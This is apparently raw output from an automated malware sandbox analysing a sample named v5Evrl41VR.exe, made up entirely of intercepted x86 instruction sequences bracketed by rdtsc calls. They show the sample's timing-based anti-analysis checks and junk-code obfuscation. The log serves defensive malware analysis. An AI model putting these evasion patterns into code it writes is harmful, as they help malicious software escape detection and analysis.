Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFB63 second address: 66BFBB7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCD11532018h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 4722F4AAh 0x00000013 and dh, FFFFFFB1h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FCD11532018h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 xor edx, dword ptr [ebp+122D2F8Ah] 0x0000003a push 00000003h 0x0000003c mov ecx, dword ptr [ebp+122D22DEh] 0x00000042 call 00007FCD11532019h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFBB7 second address: 66BFBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CC8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFBD4 second address: 66BFC0F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD1153202Ch 0x00000008 jmp 00007FCD11532026h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jg 00007FCD11532025h 0x00000017 jmp 00007FCD1153201Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFC0F second address: 66BFC3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b je 00007FCD111F5CC9h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFC3D second address: 66BFC42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFC42 second address: 66BFC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFC48 second address: 66BFC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnp 00007FCD11532028h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FCD11532016h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFC61 second address: 66BFC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66A9B5E second address: 66A9B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66A9B65 second address: 66A9B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEB7D second address: 66DEB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEB87 second address: 66DEB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCD111F5CBAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEB9D second address: 66DEBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCD11532016h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEBA9 second address: 66DEBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEBAD second address: 66DEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FCD1153201Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DECF7 second address: 66DED07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DED07 second address: 66DED28 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FCD1153201Ah 0x00000012 pop eax 0x00000013 pushad 0x00000014 jc 00007FCD11532016h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEE73 second address: 66DEE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEE78 second address: 66DEE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DEE7E second address: 66DEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF301 second address: 66DF326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD11532026h 0x00000009 popad 0x0000000a push esi 0x0000000b jnl 00007FCD11532016h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF326 second address: 66DF32B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF32B second address: 66DF359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007FCD11532023h 0x0000000b jmp 00007FCD1153201Dh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnp 00007FCD11532016h 0x0000001b jmp 00007FCD1153201Ah 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF359 second address: 66DF35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF66A second address: 66DF66F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DF8FF second address: 66DF914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DFA8A second address: 66DFA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DFA8E second address: 66DFA9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FCD111F5CBAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DFA9E second address: 66DFAC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FCD11532016h 0x0000000f jmp 00007FCD1153201Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66DFAC3 second address: 66DFAC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66D4D8E second address: 66D4DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD1153201Fh 0x00000009 jns 00007FCD11532016h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E01F2 second address: 66E0242 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD111F5CB6h 0x00000008 jmp 00007FCD111F5CC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push esi 0x00000012 js 00007FCD111F5CB6h 0x00000018 jmp 00007FCD111F5CC1h 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 jmp 00007FCD111F5CC1h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E0242 second address: 66E024C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCD11532016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E024C second address: 66E0255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E0505 second address: 66E0518 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E62FF second address: 66E6305 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E6305 second address: 66E630B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E4C84 second address: 66E4C99 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FCD111F5CB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E4C99 second address: 66E4CB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E63FF second address: 66E641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CBFh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E641A second address: 66E641E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E641E second address: 66E6424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E6424 second address: 66E643F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FCD11532016h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jbe 00007FCD1153201Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66E78E1 second address: 66E78EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66AB55A second address: 66AB594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532027h 0x00000007 jmp 00007FCD11532021h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FCD11532016h 0x00000016 jne 00007FCD11532016h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66AB594 second address: 66AB598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ECC30 second address: 66ECC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ECEB7 second address: 66ECEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ECEBD second address: 66ECEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ECEC6 second address: 66ECECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ED21A second address: 66ED227 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ED391 second address: 66ED396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ED396 second address: 66ED3C2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD1153201Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCD11532028h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66ED3C2 second address: 66ED3DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD111F5CC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66EFD92 second address: 66EFD96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66EFD96 second address: 66EFDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FCD111F5CBBh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66EFDB5 second address: 66EFE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FCD11532018h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 jmp 00007FCD1153201Dh 0x00000026 adc di, E002h 0x0000002b push 2C3EDA48h 0x00000030 pushad 0x00000031 pushad 0x00000032 jmp 00007FCD11532026h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F01E0 second address: 66F01E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F03D0 second address: 66F040F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD11532024h 0x00000008 jmp 00007FCD11532025h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007FCD1153201Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F040F second address: 66F0413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F04F4 second address: 66F050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD11532022h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F0B5C second address: 66F0B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F0B61 second address: 66F0B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F0B66 second address: 66F0B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c jp 00007FCD111F5CB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F0CE3 second address: 66F0CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F1084 second address: 66F109B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCD111F5CB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f je 00007FCD111F5CB6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F109B second address: 66F10AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F10AF second address: 66F10B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F10B3 second address: 66F10C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F151B second address: 66F153A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007FCD111F5CC5h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F5C2D second address: 66F5C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F5937 second address: 66F593D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F593D second address: 66F5958 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD1153201Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FCD11532018h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F6334 second address: 66F633A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66F633A second address: 66F633E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB400 second address: 66FB40A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB40A second address: 66FB430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FCD11532016h 0x0000000b popad 0x0000000c jmp 00007FCD11532023h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB430 second address: 66FB434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB434 second address: 66FB44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD1153201Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB44B second address: 66FB451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB451 second address: 66FB455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB455 second address: 66FB459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FB459 second address: 66FB45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FDA14 second address: 66FDA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FCD111F5CB8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 add dword ptr [ebp+122D1E7Ah], ecx 0x0000002b mov dword ptr [ebp+122D1FC2h], ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007FCD111F5CB8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d push 00000000h 0x0000004f add edi, dword ptr [ebp+122D304Ah] 0x00000055 adc ebx, 08E70500h 0x0000005b xchg eax, esi 0x0000005c pushad 0x0000005d push eax 0x0000005e jmp 00007FCD111F5CBDh 0x00000063 pop eax 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FCD111F5CBCh 0x0000006b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FCC5B second address: 66FCC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66FCC5F second address: 66FCC65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
